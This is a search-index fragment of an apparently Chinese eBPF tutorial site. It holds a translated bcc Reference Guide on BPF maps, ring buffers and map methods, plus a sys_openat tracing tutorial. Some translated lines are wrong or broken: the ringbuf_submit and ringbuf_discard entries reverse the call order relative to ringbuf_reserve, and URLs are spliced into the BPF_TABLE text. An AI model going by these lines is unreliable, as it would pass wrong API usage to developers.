https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&type=Code），","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"274","title":"7. ringbuf_reserve()"},"275":{"body":"语法：void ringbuf_submit（（void *）data，u64 flags） 返回：无，始终成功 标志：- BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交到用户态。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit（）","id":"275","title":"8. ringbuf_submit（）"},"276":{"body":"语法: void ringbuf_discard((void *)data, u64 flags) 返回值: 无，始终成功 标志: BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于丢弃自定义事件数据；用户空间将忽略与丢弃事件相关联的数据。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"276","title":"9. ringbuf_discard()"},"277":{"body":"Maps是BPF数据存储，是更高级对象类型（包括表、哈希和直方图）的基础。","breadcrumbs":"bcc Reference Guide » Maps","id":"277","title":"Maps"},"278":{"body":"语法: BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries) 创建名为_name的映射。大多数情况下，这将通过更高级的宏（如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等）使用。 BPF_F_TABLE是一个变体，最后一个参数采用标志。BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)实际上是`BPF_F_TABLE( https://github.com/iovisor/bcc/tree/master ., 0 / flag /)```的包装。 方法（稍后讨论）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索/examples ,\" 搜索 /工具 固定映射 语法: BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, \"/sys/fs/bpf/xyz\") 如果映射不存在，则创建一个新的映射并将其固定到bpffs作为文件；否则使用已固定到bpffs的映射。类型信息不强制执行，实际的映射类型取决于固定到位置的映射。 例如: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"278","title":"1. BPF_TABLE"},"279":{"body":"语法: BPF_HASH(name [, key_type [, leaf_type [, size]]]) 创建一个哈希映射（关联数组），名称为name，具有可选参数。 默认值: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如: BPF_HASH(start, struct request *); 这将创建一个名为start的哈希，其中关键字为struct request *，值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳，其中关键字是指向struct request的指针，而值是时间戳。 这是BPF_TABLE(\"hash\", ...)的包装宏。 方法（稍后涵盖）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 示例中的原位置链接： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"279","title":"2. BPF_HASH"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"语法: BPF_ARRAY(name [, leaf_type [, size]]) 创建一个以整数索引的数组，最快速的查找和更新为优化，名称为name，具有可选参数。 默认值: BPF_ARRAY(name, leaf_type=u64, size=10240) 例如: BPF_ARRAY(counts, u64, 32); 这将创建一个名为counts的数组，其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。\".这是一个 BPF_TABLE(\"array\", ...) 的包装宏。 方法（稍后介绍）：map.lookup()、map.update()、map.increment()。注意，所有数组元素都预先分配为零值，无法删除。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"280","title":"3. BPF_ARRAY"},"281":{"body":"语法：BPF_HISTOGRAM(name [, key_type [, size ]]) 创建一个名为 name 的直方图映射，包含可选参数。 默认值：BPF_HISTOGRAM(name, key_type=int, size=64) 例如： BPF_HISTOGRAM(dist); 这创建了一个名为 dist 的直方图，默认有 64 个桶，以 int 类型的键索引。 这是一个 BPF_TABLE(\"histgram\", ...) 的包装宏。 方法（稍后介绍）：map.increment()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"281","title":"4. BPF_HISTOGRAM"},"282":{"body":"语法：BPF_STACK_TRACE(name, max_entries) 创建一个名为 name 的堆栈跟踪映射，提供最大条目数。这些映射用于存储堆栈跟踪。 例如： BPF_STACK_TRACE(stack_traces, 1024); 这创建了一个名为 stack_traces 的堆栈跟踪映射，最大堆栈跟踪条目数为 1024。 这是一个 BPF_TABLE(\"stacktrace\", ...) 的包装宏。 方法（稍后介绍）：map.get_stackid()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"282","title":"5. BPF_STACK_TRACE"},"283":{"body":"语法：BPF_PERF_ARRAY(name, max_entries) 创建一个名为 name 的 perf 数组，提供最大条目数，该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如： text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) 这将创建一个名为cpu_cycles的性能数组，条目数量等于CPU核心数。该数组被配置为，稍后调用map.perf_read()将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。 方法（稍后介绍）：map.perf_read()。 现场示例： 搜索 /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"283","title":"6. BPF_PERF_ARRAY"},"284":{"body":"语法：BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) 创建NUM_CPU个以int索引的哈希映射（关联数组），名为name，具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。 请注意，由于内核中定义的限制（位于linux/mm/percpu.c中），leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_HASH元素的大小不能超过32KB。 默认值：BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_PERCPU_HASH(start, struct request *); 这将创建名为start的NUM_CPU个哈希，其中键为struct request *，值默认为u64。 这是对BPF_TABLE(\"percpu_hash\", ...)的包装宏。 方法（稍后介绍）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"284","title":"7. BPF_PERCPU_HASH"},"285":{"body":"语法：BPF_PERCPU_ARRAY(name [, leaf_type [, size]])。创建name的NUM_CPU个按整数索引优化的数组，以实现最快的查找和更新，具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。 请注意，由于内核（在linux/mm/percpu.c中）定义的限制，leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_ARRAY元素的大小不能超过32KB。 默认值：BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) 例如： BPF_PERCPU_ARRAY(counts, u64, 32); 这将创建NUM_CPU个名为counts的数组，其中每个数组有32个桶和64位整数值。 这是BPF_TABLE(\"percpu_array\", ...)的包装宏。 方法（稍后介绍）：map.lookup()，map.update()，map.increment()。请注意，所有数组元素都预先分配为零值，并且不能被删除。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"285","title":"8. BPF_PERCPU_ARRAY"},"286":{"body":"语法：BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) 创建一个名为name的最长前缀匹配字典树映射，带有可选参数。 默认值：BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_LPM_TRIE(trie, struct key_v6); 这将创建一个名为trie的LPM字典树映射，其中键是struct key_v6，值默认为u64。 这是一个对BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC)的包装宏。 方法（稍后介绍）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"286","title":"9. BPF_LPM_TRIE"},"287":{"body":"语法：BPF_PROG_ARRAY(name, size)。创建一个名为 name 的程序数组，其中包含 size 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符，要么是 NULL。该数组作为一个跳转表，以便 bpf 程序可以“尾调用”其他 bpf 程序。 这是一个 BPF_TABLE(\"prog\", ...) 的包装宏。 方法（稍后介绍）：map.call()。 实时示例： 搜索 /examples , 搜索 /tests , 分配 fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"287","title":"10. BPF_PROG_ARRAY"},"288":{"body":"语法：BPF_DEVMAP(name, size) 这创建了一个名为 name 的设备映射，其中包含 size 个条目。映射的每个条目都是一个网络接口的 ifindex。此映射仅在 XDP 中使用。 例如： BPF_DEVMAP(devmap, 10); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"288","title":"11. BPF_DEVMAP"},"289":{"body":"语法：BPF_CPUMAP(name, size) 这创建了一个名为 name 的 CPU 映射，其中包含 size 个条目。映射的索引表示 CPU 的 ID，每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。 例如： BPF_CPUMAP(cpumap, 16); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"289","title":"12. BPF_CPUMAP"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它用于打开文件。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"语法：BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"])。这将创建一个名为name的xsk映射，带有size个条目，并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列，则数据包将被丢弃。对于内核v5.3及更高版本，“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息，请参阅 AF_XDP 。 例如： BPF_XSKMAP(xsks_map, 8); 方法（稍后涵盖）：map.redirect_map()。map.lookup() 现场示例： search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"290","title":"13. BPF_XSKMAP"},"291":{"body":"语法：BPF_ARRAY_OF_MAPS(name, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的数组映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"291","title":"14. BPF_ARRAY_OF_MAPS"},"292":{"body":"语法：BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的哈希映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"292","title":"15. BPF_HASH_OF_MAPS"},"293":{"body":"语法：BPF_STACK(name, leaf_type, max_entries[, flags])。创建一个名为 name 的堆栈，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如: BPF_STACK(stack, struct event, 10240); 这将创建一个名为 stack 的堆栈，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"293","title":"16. BPF_STACK"},"294":{"body":"语法：BPF_QUEUE(name, leaf_type, max_entries[, flags]) 创建一个名为 name 的队列，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如： BPF_QUEUE(queue, struct event, 10240); 这将创建一个名为 queue 的队列，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"294","title":"17. BPF_QUEUE"},"295":{"body":"语法：BPF_SOCKHASH(name[, key_type [, max_entries) 创建一个名为 name 的哈希，带有可选参数。sockhash仅适用于Linux 4.18+。 默认值：BPF_SOCKHASH(name, key_type=u32, max_entries=10240) 例如： struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); 这将创建一个名为 skh 的哈希表，其中键是 struct sock_key。 sockhash是一种BPF映射类型，它保存对sock结构体的引用。然后，通过使用新的sk/msg重定向BPF辅助函数，BPF程序可以使用该映射在套接字之间重定向skbs/msgs（map.sk_redirect_hash()/map.msg_redirect_hash()）。BPF_SOCKHASH和BPF_SOCKMAP的区别在于BPF_SOCKMAP是基于数组实现的，并且强制键为四个字节。 而BPF_SOCKHASH是基于哈希表实现的，并且键的类型可以自由指定。 方法（稍后介绍）：map.sock_hash_update()，map.msg_redirect_hash()，map.sk_redirect_hash()。 搜索/tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"295","title":"18. BPF_SOCKHASH"},"296":{"body":"语法：*val map.lookup(&key) 在映射中查找键，如果存在则返回指向其值的指针，否则返回NULL。我们将键作为指针的地址传入。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"296","title":"19. map.lookup()"},"297":{"body":"语法：*val map.lookup_or_try_init(&key, &zero) 在映射中查找键，如果存在则返回指向其值的指针，否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键（例如映射已满），则返回NULL。 示例： 搜索/examples , 搜索/tools 注意：旧的map.lookup_or_init()可能导致函数返回，因此建议使用lookup_or_try_init()，它没有这种副作用。","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"297","title":"20. map.lookup_or_try_init()"},"298":{"body":"语法：map.delete(&key) 从哈希表中删除键。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"298","title":"21. map.delete()"},"299":{"body":"语法：map.update(&key, &val) 将第二个参数中的值与键关联，覆盖任何先前的值。 示例：\" 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"299","title":"22. map.update()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include \n#include  /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id >> 32; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件： 包含了内核数据结构的定义， 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TID（线程 ID）。由于我们只关心 PID，所以将其值右移 32 位赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"语法: map.insert(&key, &val) 将第二个参数中的值与键相关联，仅在之前没有值的情况下。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"300","title":"23. map.insert()"},"301":{"body":"语法: map.increment(key[, increment_amount]) 通过 increment_amount（默认为1）增加键的值。用于柱状图。 map.increment()不是原子操作。在并发情况下，如果要获得更准确的结果，请使用 map.atomic_increment() 而不是 map.increment()。map.increment() 和 map.atomic_increment() 的开销相似。 注意. 当使用 map.atomic_increment() 操作类型为 BPF_MAP_TYPE_HASH 的 BPF map 时，如果指定的键不存在，则 map.atomic_increment() 无法保证操作的原子性。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"301","title":"24. map.increment()"},"302":{"body":"语法: int map.get_stackid(void *ctx, u64 flags) 这会遍历在 ctx 中找到的 struct pt_regs 中的堆栈，将其保存在堆栈跟踪 map 中，并返回一个唯一的堆栈跟踪 ID。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"302","title":"25. map.get_stackid()"},"303":{"body":"语法: u64 map.perf_read(u32 cpu) 现场示例:\"\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"303","title":"26. map.perf_read()"},"304":{"body":"语法：void map.call(void *ctx, int index) 这将调用bpf_tail_call()来尾调用 BPF_PROG_ARRAY 中指向index入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧，并且不会返回。如果index入口为空，它将不会跳转到任何地方，程序的执行将会继续进行。 例如： BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"尾调用\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"原始的程序\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") 这将tail_call()分配给prog_array[2]。在do_tail_call()的最后，prog_array.call(ctx, 2)尾调用tail_call()并执行它。 **注意：**为了防止无限循环，尾调用的最大数量是32（ MAX_TAIL_CALL_CNT ）。 在现场示例中： 搜索/examples , 搜索/tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"304","title":"27. map.call()"},"305":{"body":"语法：int map.redirect_map(int index, int flags)\".这将根据 index 条目重定向传入的数据包。如果映射是 BPF_DEVMAP ，数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 BPF_CPUMAP ，数据包将被发送到index CPU的环形缓冲区，并稍后由CPU处理。如果映射是 BPF_XSKMAP ，数据包将被发送到连接到队列的 AF_XDP 套接字。 如果数据包成功被重定向，该函数将返回 XDP_REDIRECT。否则，将返回 XDP_ABORTED 以丢弃该数据包。 例如： BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) 示例位置： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"305","title":"28. map.redirect_map()"},"306":{"body":"语法：int map.push(&val, int flags) 将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"306","title":"29. map.push()"},"307":{"body":"语法：int map.pop(&val) 从堆栈或队列表中弹出一个元素。*val被填充为结果。与查看不同，弹出操作会移除该元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"307","title":"30. map.pop()"},"308":{"body":"语法：int map.peek(&val)查看堆栈或队列表头的元素。*val将被结果填充。 与弹出不同，查看不会删除元素。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"308","title":"31. map.peek()"},"309":{"body":"语法：int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) 向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一： BPF_NOEXIST：映射中不得存在key的条目。\nBPF_EXIST：映射中必须已存在key的条目。\nBPF_ANY：对于key的条目是否存在，没有条件。 如果映射具有eBPF程序（解析器和判决器），则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序，则会出错。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"309","title":"32. map.sock_hash_update()"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 选项来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"语法：int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags) 该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过（即判决eBPF程序返回SK_PASS），则使用哈希键将其重定向到映射引用的套接字（类型为BPF_MAP_TYPE_SOCKHASH）。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分（如果存在该标志，则选择入站路径，否则选择出站路径）。目前，这是唯一支持的标志。 成功返回SK_PASS，发生错误返回SK_DROP。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"310","title":"33. map.msg_redirect_hash()"},"311":{"body":"语法：int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)\".This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: [搜索/tests]( https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&type=Code\\ ),","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"311","title":"34. map.sk_redirect_hash()"},"312":{"body":"Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the [错误描述](#2-cannot-call-gpl-only-function-from-proprietary-program) below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the [BPF helpers 